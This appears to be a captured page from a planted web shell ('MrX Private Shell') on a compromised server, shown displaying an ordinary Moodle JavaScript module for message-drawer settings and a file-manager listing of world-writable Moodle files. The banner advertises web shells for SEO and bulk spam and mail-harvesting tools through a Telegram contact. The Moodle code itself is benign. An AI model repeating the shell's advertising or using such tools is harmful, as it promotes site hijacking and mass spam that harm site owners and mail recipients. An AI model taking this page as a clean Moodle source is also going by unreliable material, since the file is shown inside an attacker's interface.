__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Controls the settings page in the message drawer.
 *
 * @module     core_message/message_drawer_view_settings
 * @copyright  2018 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(
[
    'jquery',
    'core/notification',
    'core/str',
    'core/pubsub',
    'core/templates',
    'core_message/message_repository',
    'core/custom_interaction_events',
    'core_message/message_drawer_events'
],
function(
    $,
    Notification,
    Str,
    PubSub,
    Templates,
    Repository,
    CustomEvents,
    MessageDrawerEvents
) {

    var SELECTORS = {
        CHECKBOX: 'input[type="checkbox"]',
        SETTINGS: '[data-region="settings"]',
        PRIVACY_PREFERENCE: '[data-preference="blocknoncontacts"] input[type="radio"]',
        NOTIFICATIONS_PREFERENCE: '[data-preference="notifications"] input[type="checkbox"]',
        ENTER_TO_SEND_PREFERENCE: '[data-preference="entertosend"] input[type="checkbox"]',
        NOTIFICATION_PREFERENCES_CONTAINER: '[data-region="notification-preference-container"]',
        CONTENT_CONTAINER: '[data-region="content-container"]',
        PLACEHOLDER_CONTAINER: '[data-region="placeholder-container"]'
    };

    var TEMPLATES = {
        NOTIFICATION_PREFERENCES: 'core_message/message_drawer_view_settings_body_content_notification_preferences'
    };

    var NOTIFICATION_PREFERENCES_KEY = 'message_provider_moodle_instantmessage';

    /**
     * Select the correct radio button in the DOM for the privacy preference.
     *
     * @param {Object} body The settings body element.
     * @param {Number} value Which radio button should be set
     */
    var setPrivacyPreference = function(body, value) {
        var inputs = body.find(SELECTORS.PRIVACY_PREFERENCE);
        inputs.each(function(index, input) {
            input = $(input);
            if (input.val() == value) {
                input.prop('checked', true);
            } else {
                input.prop('checked', false);
            }
        });
    };

    /**
     * Set the "enter to send" checkbox to the correct value in the DOM.
     *
     * @param {Object} body The settings body element.
     * @param {Bool} value Whether enter to send is enabled or disabled.
     */
    var setEnterToSend = function(body, value) {
        var checkbox = body.find(SELECTORS.ENTER_TO_SEND_PREFERENCE);

        if (value) {
            checkbox.prop('checked', true);
        } else {
            checkbox.prop('checked', false);
        }
    };

    /**
     * Send a request to the server to save the given preferences. Also publish
     * a preferences updated event for the rest of the message drawer to
     * subscribe to.
     *
     * @param {Number} loggedInUserId The logged in user id.
     * @param {Array} preferences The preferences to set.
     * @return {Object} jQuery promise
     */
    var savePreferences = function(loggedInUserId, preferences) {
        return Repository.savePreferences(loggedInUserId, preferences)
            .then(function() {
                PubSub.publish(MessageDrawerEvents.PREFERENCES_UPDATED, preferences);
                return;
            })
            .catch(Notification.exception);
    };

    /**
     * Create all of the event listeners for the message preferences page.
     *
     * @method registerEventListeners
     * @param {Object} body The settings body element.
     * @param {Number} loggedInUserId The logged in user id.
     */
    var registerEventListeners = function(body, loggedInUserId) {
        var settingsContainer = body.find(SELECTORS.SETTINGS);

        CustomEvents.define(settingsContainer, [
            CustomEvents.events.activate
        ]);

        settingsContainer.on(CustomEvents.events.activate, SELECTORS.NOTIFICATIONS_PREFERENCE, function(e) {
            var container = $(e.target).closest(SELECTORS.NOTIFICATION_PREFERENCES_CONTAINER);
            var checkboxes = container.find(SELECTORS.CHECKBOX);
            if (!checkboxes.length) {
                return;
            }
            // The preference value is all of the enabled processors, comma separated, so let's
            // see which ones are enabled.
            var values = checkboxes.toArray().reduce(function(carry, checkbox) {
                checkbox = $(checkbox);
                if (checkbox.prop('checked')) {
                    carry.push(checkbox.attr('data-name'));
                }

                return carry;
            }, []);
            var newValue = values.length ? values.join(',') : 'none';
            var preferences = [
                {
                    type: 'message_provider_moodle_instantmessage_enabled',
                    value: newValue
                }
            ];

            savePreferences(loggedInUserId, preferences);
        });

        settingsContainer.on('change', SELECTORS.PRIVACY_PREFERENCE, function(e) {
            var newValue = $(e.target).val();
            var preferences = [
                {
                    type: 'message_blocknoncontacts',
                    value: newValue
                }
            ];

            savePreferences(loggedInUserId, preferences);
        });

        settingsContainer.on(CustomEvents.events.activate, SELECTORS.ENTER_TO_SEND_PREFERENCE, function(e) {
            var newValue = $(e.target).prop('checked');
            var preferences = [
                {
                    type: 'message_entertosend',
                    value: newValue
                }
            ];

            savePreferences(loggedInUserId, preferences);
        });
    };

    /**
     * Initialise the module by loading the user's messaging preferences from the server and
     * rendering them in the settings page.
     *
     * Moodle may have many (or no) message processors enabled to notify the user when they
     * receive messages. We need to dynamically build the settings page based on which processors
     * are configured for the user.
     *
     * @param {Object} body The settings body element.
     * @param {Number} loggedInUserId The logged in user id.
     */
    var init = function(body, loggedInUserId) {
        // Load the message preferences from the server.
        Repository.getUserMessagePreferences(loggedInUserId)
            .then(function(response) {
                // Set the values of the stright forward preferences.
                setPrivacyPreference(body, response.blocknoncontacts);
                setEnterToSend(body, response.entertosend);

                // Parse the list of other preferences into a more usable format.
                var notificationProcessors = [];
                if (response.preferences.components.length) {
                    response.preferences.components.forEach(function(component) {
                        if (component.notifications.length) {
                            // Filter down to just the notification processors that work on instant
                            // messaging. We don't care about another other ones.
                            var notificationPreferences = component.notifications.filter(function(notification) {
                                return notification.preferencekey == NOTIFICATION_PREFERENCES_KEY;
                            });

                            if (notificationPreferences.length) {
                                // Messaging only has one config at the moment which is for notifications
                                // on personal messages.
                                var configuration = component.notifications[0];
                                notificationProcessors = configuration.processors.map(function(processor) {
                                    // Consider the the processor enabled if either preference is set. This is
                                    // for backwards compatibility. Going forward they will be treated as one
                                    // setting.
                                    var checked = processor.enabled;
                                    return {
                                        displayname: processor.displayname,
                                        name: processor.name,
                                        checked: checked,
                                        // The admin can force processors to be enabled at a site level so
                                        // we need to check if this processor has been locked by the admin.
                                        locked: processor.locked,
                                        lockedmessage: processor.lockedmessage || null,
                                    };
                                });
                            }
                        }
                    });
                }

                var container = body.find(SELECTORS.NOTIFICATION_PREFERENCES_CONTAINER);
                if (notificationProcessors.length) {
                    // We have processors (i.e. email, mobile, jabber) to show.
                    container.removeClass('hidden');
                    // Render the processor options.
                    return Templates.render(TEMPLATES.NOTIFICATION_PREFERENCES, {processors: notificationProcessors})
                        .then(function(html) {
                            container.append(html);
                            return html;
                        });
                } else {
                    return true;
                }
            })
            .then(function() {
                // We're done loading so hide the loading placeholder and show the settings.
                body.find(SELECTORS.CONTENT_CONTAINER).removeClass('hidden');
                body.find(SELECTORS.PLACEHOLDER_CONTAINER).addClass('hidden');
                // Register the event listers for if the user wants to change the preferences.
                registerEventListeners(body, loggedInUserId);
                return;
            })
            .catch(Notification.exception);
    };

    /**
     * Initialise the settings page by adding event listeners to
     * the checkboxes.
     *
     * @param {string} namespace The route namespace.
     * @param {Object} header The settings header element.
     * @param {Object} body The settings body element.
     * @param {Object} footer The footer body element.
     * @param {Number} loggedInUserId The logged in user id.
     * @return {Object} jQuery promise
     */
    var show = function(namespace, header, body, footer, loggedInUserId) {
        if (!body.attr('data-init')) {
            init(body, loggedInUserId);
            body.attr('data-init', true);
        }

        return $.Deferred().resolve().promise();
    };

    /**
     * String describing this page used for aria-labels.
     *
     * @return {Object} jQuery promise
     */
    var description = function() {
        return Str.get_string('messagedrawerviewsettings', 'core_message');
    };

    return {
        show: show,
        description: description,
    };
});

Filemanager

Name Type Size Permission Actions
default_notification_preferences.js File 3.37 KB 0777
message_drawer.js File 12.51 KB 0777
message_drawer_events.js File 2.26 KB 0777
message_drawer_helper.js File 2.73 KB 0777
message_drawer_lazy_load_list.js File 9.61 KB 0777
message_drawer_router.js File 10.45 KB 0777
message_drawer_routes.js File 1.21 KB 0777
message_drawer_view_contact.js File 2.95 KB 0777
message_drawer_view_contacts.js File 6.94 KB 0777
message_drawer_view_contacts_section_contacts.js File 6.14 KB 0777
message_drawer_view_contacts_section_requests.js File 4.34 KB 0777
message_drawer_view_conversation.js File 86.72 KB 0777
message_drawer_view_conversation_constants.js File 7.61 KB 0777
message_drawer_view_conversation_patcher.js File 51.37 KB 0777
message_drawer_view_conversation_renderer.js File 63.17 KB 0777
message_drawer_view_conversation_state_manager.js File 30.2 KB 0777
message_drawer_view_group_info.js File 5.83 KB 0777
message_drawer_view_overview.js File 10.5 KB 0777
message_drawer_view_overview_section.js File 33.22 KB 0777
message_drawer_view_search.js File 32.56 KB 0777
message_drawer_view_settings.js File 11.51 KB 0777
message_notification_preference.js File 2.09 KB 0777
message_popover.js File 3.36 KB 0777
message_preferences.js File 4.35 KB 0777
message_repository.js File 33.98 KB 0777
message_send_bulk.js File 3.34 KB 0777
message_user_button.js File 3.78 KB 0777
notification_preference.js File 4.55 KB 0777
notification_processor.js File 1.86 KB 0777
notification_processor_settings.js File 8.29 KB 0777
preferences_notifications_list_controller.js File 6.11 KB 0777
preferences_processor_form.js File 2.96 KB 0777
toggle_contact_button.js File 7.13 KB 0777
Filemanager